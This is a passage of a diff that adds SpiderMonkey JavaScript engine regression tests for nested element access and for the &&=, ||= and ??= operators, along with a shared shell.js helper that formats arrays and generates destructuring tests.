+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ delete a[2][j][k];
+
+ status = inSection(5);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3, ,]);
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-noargsub.js b/js/src/tests/non262/expressions/regress-96526-noargsub.js
new file mode 100644
index 0000000000..e986f1a16a
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-noargsub.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[-1,0,[1,2,[3,4]]]);
+expect = 42;
+addThis();
+
+
+function f(j,k,a)
+{
+ status = inSection(2);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = a[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return a[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/shell.js b/js/src/tests/non262/expressions/shell.js
new file mode 100644
index 0000000000..bc682b79cd
--- /dev/null
+++ b/js/src/tests/non262/expressions/shell.js
@@ -0,0 +1,288 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+ function func() {
+ }
+ class C {
+ foo() {
+ }
+ static foo() {
+ }
+ }
+
+ function test_one(pattern, val, opt) {
+ var stmts = [];
+ var i = 0;
+ var c;
+
+ stmts.push(`var ${pattern} = ${val};`);
+
+ for (var stmt of stmts) {
+ if (!opt.no_plain) {
+ eval(`
+${stmt}
+`);
+ }
+
+ if (!opt.no_func) {
+ eval(`
+function f${i}() {
+ ${stmt}
+}
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo() {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = () => {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_gen) {
+ eval(`
+function* g${i}() {
+ ${stmt}
+}
+[...g${i}()];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo() {
+ ${stmt}
+};
+[...g${i}()];
+`);
+ i++;
+ }
+
+ if (!opt.no_ctor) {
+ eval(`
+class D${i} {
+ constructor() {
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_derived_ctor) {
+ if (opt.no_pre_super) {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ ${stmt}
+ try { super(); } catch (e) {}
+ }
+}
+new D${i}();
+`);
+ i++;
+ } else {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ super();
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_method) {
+ eval(`
+class D${i} extends C {
+ method() {
+ ${stmt}
+ }
+ static staticMethod() {
+ ${stmt}
+ }
+}
+new D${i}().method();
+D${i}.staticMethod();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_func_arg) {
+ eval(`
+function f${i}(${pattern}) {}
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo(${pattern}) {};
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = (${pattern}) => {};
+f${i}(${val});
+`);
+ i++;
+ }
+
+ if (!opt.no_gen_arg) {
+ eval(`
+function* g${i}(${pattern}) {}
+[...g${i}(${val})];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo(${pattern}) {};
+[...g${i}(${val})];
+`);
+ i++;
+ }
+ }
+
+ function test(expr, opt={}) {
+ var pattern = `[a=${expr}, ...c]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[,a=${expr}]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ test_one(pattern, "[1, 2]", opt);
+
+ pattern = `[{x: [a=${expr}]}]`;
+ test_one(pattern, "[{x: [1]}]", opt);
+
+ pattern = `[x=[a=${expr}]=[]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[x=[a=${expr}]=[1]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ }
+
+ global.testDestructuringArrayDefault = test;
+})(this);
+
+(function(global) {
+ /*
+ * Date: 07 February 2001
+ *
+ * Functionality common to Array testing -
+ */
+ //-----------------------------------------------------------------------------
+
+
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+ global.formatArray = formatArray;
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+ global.toSource = toSource;
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+})(this);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js
new file mode 100644
index 0000000000..406f143ead
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js
@@ -0,0 +1,42 @@
+// NamedEvaluation applies to short-circuit assignment.
+
+{
+ let a;
+ a ??= function(){};
+ assertEq(a.name, "a");
+}
+
+{
+ let a = false;
+ a ||= function(){};
+ assertEq(a.name, "a");
+}
+
+{
+ let a = true;
+ a &&= function(){};
+ assertEq(a.name, "a");
+}
+
+// No name assignments for parenthesised left-hand sides.
+
+{
+ let a;
+ (a) ??= function(){};
+ assertEq(a.name, "");
+}
+
+{
+ let a = false;
+ (a) ||= function(){};
+ assertEq(a.name, "");
+}
+
+{
+ let a = true;
+ (a) &&= function(){};
+ assertEq(a.name, "");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js
new file mode 100644
index 0000000000..8499e2fb74
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js
@@ -0,0 +1,90 @@
+// Test assignment to const and function name bindings. The latter is kind of a
+// const binding, but only throws in strict mode.
+
+function notEvaluated() {
+ throw new Error("should not be evaluated");
+}
+
+// AndAssignExpr with const lexical binding.
+{
+ const a = false;
+ a &&= notEvaluated();
+ assertEq(a, false);
+
+ const b = true;
+ assertThrowsInstanceOf(() => { b &&= 1; }, TypeError);
+ assertEq(b, true);
+}
+
+// AndAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn &&= true;
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ assertThrowsInstanceOf(() => { fn &&= 1; }, TypeError);
+ assertEq(fn, g);
+ };
+ g();
+}
+
+// OrAssignExpr with const lexical binding.
+{
+ const a = true;
+ a ||= notEvaluated();
+ assertEq(a, true);
+
+ const b = false;
+ assertThrowsInstanceOf(() => { b ||= 0; }, TypeError);
+ assertEq(b, false);
+}
+
+// OrAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn ||= notEvaluated();
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ fn ||= notEvaluated();
+ assertEq(fn, g);
+ };
+ g();
+}
+
+// CoalesceAssignExpr with const lexical binding.
+{
+ const a = true;
+ a ??= notEvaluated();
+ assertEq(a, true);
+
+ const b = null;
+ assertThrowsInstanceOf(() => { b ??= 0; }, TypeError);
+ assertEq(b, null);
+}
+
+// CoalesceAssignExpr with function name binding.
+{
+ let f = function fn() {
+ fn ??= notEvaluated();
+ assertEq(fn, f);
+ };
+ f();
+
+ let g = function fn() {
+ "use strict";
+ fn ??= notEvaluated();
+ assertEq(fn, g);
+ };
+ g();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js
new file mode 100644
index 0000000000..256278a938
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js
@@ -0,0 +1,65 @@
+// Test when a declarative binding is deleted.
+
+// ES2020, 8.1.1.1.5 SetMutableBinding ( N, V, S )
+//
+// 1. ...
+// 2. If envRec does not have a binding for N, then
+// a. ...
+// b. Perform envRec.CreateMutableBinding(N, true).
+// c. Perform envRec.InitializeBinding(N, V).
+// d. Return NormalCompletion(empty).
+// 3. ...
+
+// AndAssignExpr
+{
+ let a = 0;
+
+ let f = function() {
+ eval("var a = 1;");
+
+ a &&= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, 0);
+}
+
+// OrAssignExpr
+{
+ let a = 1;
+
+ let f = function() {
+ eval("var a = 0;");
+
+ a ||= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, 1);
+}
+
+// CoalesceAssignExpr
+{
+ let a = undefined;
+
+ let f = function() {
+ eval("var a = null;");
+
+ a ??= (delete a, 2);
+
+ assertEq(a, 2);
+ }
+
+ f();
+
+ assertEq(a, undefined);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js
new file mode 100644
index 0000000000..2026aa25d1
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js
@@ -0,0 +1,68 @@
+// Test that property keys are only evaluated once.
+
+class PropertyKey {
+ constructor(key) {
+ this.key = key;
+ this.count = 0;
+ }
+
+ toString() {
+ this.count++;
+ return this.key;
+ }
+
+ valueOf() {
+ throw new Error("unexpected valueOf call");
+ }
+}
+
+// AndAssignExpr
+{
+ let obj = {p: true};
+ let pk = new PropertyKey("p");
+
+ obj[pk] &&= false;
+
+ assertEq(obj.p, false);
+ assertEq(pk.count, 1);
+
+ obj[pk] &&= true;
+
+ assertEq(obj.p, false);
+ assertEq(pk.count, 2);
+}
+
+// OrAssignExpr
+{
+ let obj = {p: false};
+ let pk = new PropertyKey("p");
+
+ obj[pk] ||= true;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 1);
+
+ obj[pk] ||= false;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 2);
+}
+
+// CoalesceAssignExpr
+{
+ let obj = {p: null};
+ let pk = new PropertyKey("p");
+
+ obj[pk] ??= true;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 1);
+
+ obj[pk] ??= false;
+
+ assertEq(obj.p, true);
+ assertEq(pk.count, 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js
new file mode 100644
index 0000000000..dc1d7a421d
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js
@@ -0,0 +1,191 @@
+// Test scope lookups are executed in the correct order.
+
+function createScope() {
+ let log = [];
+ let environment = {};
+ let scope = new Proxy(environment, new Proxy({
+ has(target, property) {
+ log.push({target, property});
+ return Reflect.has(target, property);
+ },
+ get(target, property, receiver) {
+ log.push({target, property, receiver});
+ return Reflect.get(target, property, receiver);
+ },
+ set(target, property, value, receiver) {
+ log.push({target, property, value, receiver});
+ return Reflect.set(target, property, value, receiver);
+ },
+ getOwnPropertyDescriptor(target, property) {
+ log.push({target, property});
+ return Reflect.getOwnPropertyDescriptor(target, property);
+ },
+ defineProperty(target, property, descriptor) {
+ log.push({target, property, descriptor});
+ return Reflect.defineProperty(target, property, descriptor);
+ },
+ }, {
+ get(target, property, receiver) {
+ log.push(property);
+ return Reflect.get(target, property, receiver);
+ }
+ }));
+
+ return {log, environment, scope};
+}
+
+// AndAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = true;
+
+ with (scope) {
+ a &&= false;
+ }
+ assertEq(environment.a, false);
+
+ with (scope) {
+ a &&= true;
+ }
+ assertEq(environment.a, false);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: false, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: false}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+// OrAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = false;
+
+ with (scope) {
+ a ||= true;
+ }
+ assertEq(environment.a, true);
+
+ with (scope) {
+ a ||= false;
+ }
+ assertEq(environment.a, true);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: true, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: true}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+// CoalesceAssignExpr
+{
+ let {log, environment, scope} = createScope();
+
+ environment.a = null;
+
+ with (scope) {
+ a ??= true;
+ }
+ assertEq(environment.a, true);
+
+ with (scope) {
+ a ??= false;
+ }
+ assertEq(environment.a, true);
+
+ assertDeepEq(log, [
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+
+ // Reference Type, 6.2.4.9 PutValue ( V, W )
+ // Object Environment Records, 8.1.1.2.5 SetMutableBinding ( N, V, S )
+ "set", {target: environment, property: "a", value: true, receiver: scope},
+
+ // Ordinary Objects, 9.1.9 [[Set]] ( P, V, Receiver )
+ // Ordinary Objects, 9.1.9.1 OrdinarySet ( O, P, V, Receiver )
+ // Ordinary Objects, 9.1.9.2 OrdinarySetWithOwnDescriptor ( O, P, V, Receiver, ownDesc )
+ "getOwnPropertyDescriptor", {target: environment, property: "a"},
+ "defineProperty", {target: environment, property: "a", descriptor: {value: true}},
+
+ // Execution Contexts, 8.3.2 ResolveBinding ( name [ , env ] )
+ // Lexical Environments, 8.1.2.1 GetIdentifierReference ( lex, name, strict )
+ // Object Environment Records, 8.1.1.2.1 HasBinding ( N )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: Symbol.unscopables, receiver: scope},
+
+ // Reference Type, 6.2.4.8 GetValue ( V )
+ // Object Environment Records, 8.1.1.2.6 GetBindingValue ( N, S )
+ "has", {target: environment, property: "a"},
+ "get", {target: environment, property: "a", receiver: scope},
+ ]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js
new file mode 100644
index 0000000000..dfa5435ffd
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js
@@ -0,0 +1,32 @@
+// Test TDZ for short-circutir compound assignments.
+
+// TDZ for lexical |let| bindings.
+{
+ assertThrowsInstanceOf(() => { let a = (a &&= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { let a = (a ||= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { let a = (a ??= 0); }, ReferenceError);
+}
+
+// TDZ for lexical |const| bindings.
+{
+ assertThrowsInstanceOf(() => { const a = (a &&= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { const a = (a ||= 0); }, ReferenceError);
+ assertThrowsInstanceOf(() => { const a = (a ??= 0); }, ReferenceError);
+}
+
+// TDZ for parameter expressions.
+{
+ assertThrowsInstanceOf((a = (b &&= 0), b) => {}, ReferenceError);
+ assertThrowsInstanceOf((a = (b ||= 0), b) => {}, ReferenceError);
+ assertThrowsInstanceOf((a = (b ??= 0), b) => {}, ReferenceError);
+}
+
+// TDZ for |class| bindings.
+{
+ assertThrowsInstanceOf(() => { class a extends (a &&= 0) {} }, ReferenceError);
+ assertThrowsInstanceOf(() => { class a extends (a ||= 0) {} }, ReferenceError);
+ assertThrowsInstanceOf(() => { class a extends (a ??= 0) {} }, ReferenceError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/short-circuit-compound-assignment.js b/js/src/tests/non262/expressions/short-circuit-compound-assignment.js
new file mode 100644
index 0000000000..c08c4ddecf
--- /dev/null
+++ b/js/src/tests/non262/expressions/short-circuit-compound-assignment.js
@@ -0,0 +1,265 @@
+const testCasesAnd = [];
+const testCasesOr = [];
+const testCasesCoalesce = [];
+
+
+// Assignment to a global variable (JSOp::SetGName).
+var globalVar;
+
+function testAnd_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar &&= value), globalVar];
+}
+testCasesAnd.push(testAnd_GlobalVar);
+
+function testOr_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar ||= value), globalVar];
+}
+testCasesOr.push(testOr_GlobalVar);
+
+function testCoalesce_GlobalVar(init, value) {
+ globalVar = init;
+ return [(globalVar ??= value), globalVar];
+}
+testCasesCoalesce.push(testCoalesce_GlobalVar);
+
+
+// Assignment to a local variable (JSOp::SetLocal).
+function testAnd_LocalVar(init, value) {
+ let v = init;
+ return [(v &&= value), v];
+}
+testCasesAnd.push(testAnd_LocalVar);
+
+function testOr_LocalVar(init, value) {
+ let v = init;
+ return [(v ||= value), v];
+}
+testCasesOr.push(testOr_LocalVar);
+
+function testCoalesce_LocalVar(init, value) {
+ let v = init;
+ return [(v ??= value), v];
+}
+testCasesCoalesce.push(testCoalesce_LocalVar);
+
+
+// Assignment to a parameter (JSOp::SetArg).
+function testAnd_Arg(init, value) {
+ function f(v) {
+ return [(v &&= value), v];
+ }
+ return f(init);
+}
+testCasesAnd.push(testAnd_Arg);
+
+function testOr_Arg(init, value) {
+ function f(v) {
+ return [(v ||= value), v];
+ }
+ return f(init);
+}
+testCasesOr.push(testOr_Arg);
+
+function testCoalesce_Arg(init, value) {
+ function f(v) {
+ return [(v ??= value), v];
+ }
+ return f(init);
+}
+testCasesCoalesce.push(testCoalesce_Arg);
+
+
+// Assignment to a closed over variable (JSOp::SetAliasedVar).
+function testAnd_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v &&= value);
+ }
+ return [f(), v];
+}
+testCasesAnd.push(testAnd_ClosedOver);
+
+function testOr_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v ||= value);
+ }
+ return [f(), v];
+}
+testCasesOr.push(testOr_ClosedOver);
+
+function testCoalesce_ClosedOver(init, value) {
+ let v = init;
+ function f() {
+ return (v ??= value);
+ }
+ return [f(), v];
+}
+testCasesCoalesce.push(testCoalesce_ClosedOver);
+
+
+// Assignment to a dynamic name (JSOp::SetName).
+function testAnd_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v &&= value), v];
+}
+testCasesAnd.push(testAnd_DynamicName);
+
+function testOr_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v ||= value), v];
+}
+testCasesOr.push(testOr_DynamicName);
+
+function testCoalesce_DynamicName(init, value) {
+ eval("var v = init;");
+ return [(v ??= value), v];
+}
+testCasesCoalesce.push(testCoalesce_DynamicName);
+
+
+// Assignment to a property.
+function testAnd_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p &&= value), obj.p];
+}
+testCasesAnd.push(testAnd_Property);
+
+function testOr_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p ||= value), obj.p];
+}
+testCasesOr.push(testOr_Property);
+
+function testCoalesce_Property(init, value) {
+ let obj = {p: init};
+ return [(obj.p ??= value), obj.p];
+}
+testCasesCoalesce.push(testCoalesce_Property);
+
+
+// Assignment to a super property.
+function testAnd_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p &&= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesAnd.push(testAnd_SuperProperty);
+
+function testOr_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p ||= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesOr.push(testOr_SuperProperty);
+
+function testCoalesce_SuperProperty(init, value) {
+ let proto = {p: init};
+ let obj = {__proto__: proto, m() { return (super.p ??= value); }};
+ return [obj.m(), obj.p];
+}
+testCasesCoalesce.push(testCoalesce_SuperProperty);
+
+
+// Assignment to an element.
+function testAnd_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] &&= value), obj[p]];
+}
+testCasesAnd.push(testAnd_Element);
+
+function testOr_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] ||= value), obj[p]];
+}
+testCasesOr.push(testOr_Element);
+
+function testCoalesce_Element(init, value) {
+ let p = 123;
+ let obj = {[p]: init};
+ return [(obj[p] ??= value), obj[p]];
+}
+testCasesCoalesce.push(testCoalesce_Element);
+
+
+// Assignment to a super element.
+function testAnd_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] &&= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesAnd.push(testAnd_SuperElement);
+
+function testOr_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] ||= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesOr.push(testOr_SuperElement);
+
+function testCoalesce_SuperElement(init, value) {
+ let p = 123;
+ let proto = {[p]: init};
+ let obj = {__proto__: proto, m() { return (super[p] ??= value); }};
+ return [obj.m(), obj[p]];
+}
+testCasesCoalesce.push(testCoalesce_SuperElement);
+
+
+// Run the actual tests.
+
+function runTest(testCases, init, value, expected) {
+ for (let f of testCases) {
+ let [result, newValue] = f(init, value);
+
+ assertEq(result, expected);
+ assertEq(newValue, expected);
+ }
+}
+
+function testAnd(init, value) {
+ const expected = init ? value : init;
+ runTest(testCasesAnd, init, value, expected);
+}
+
+function testOr(init, value) {
+ const expected = !init ? value : init;
+ runTest(testCasesOr, init, value, expected);
+}
+
+function testCoalesce(init, value) {
+ const expected = init === undefined || init === null ? value : init;
+ runTest(testCasesCoalesce, init, value, expected);
+}
+
+
+// Repeat a number of times to ensure JITs can kick in, too.
+for (let i = 0; i < 50; ++i) {
+ for (let thruthy of [true, 123, 123n, "hi", [], Symbol()]) {
+ testAnd(thruthy, "pass");
+ testOr(thruthy, "fail");
+ testCoalesce(thruthy, "fail");
+ }
+
+ for (let falsy of [false, 0, NaN, 0n, ""]) {
+ testAnd(falsy, "fail");
+ testOr(falsy, "pass");
+ testCoalesce(falsy, "fail");
+ }
+
+ for (let nullOrUndefined of [null, undefined]) {
+ testAnd(nullOrUndefined, "fail");
+ testOr(nullOrUndefined, "pass");
+ testCoalesce(nullOrUndefined, "pass");
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
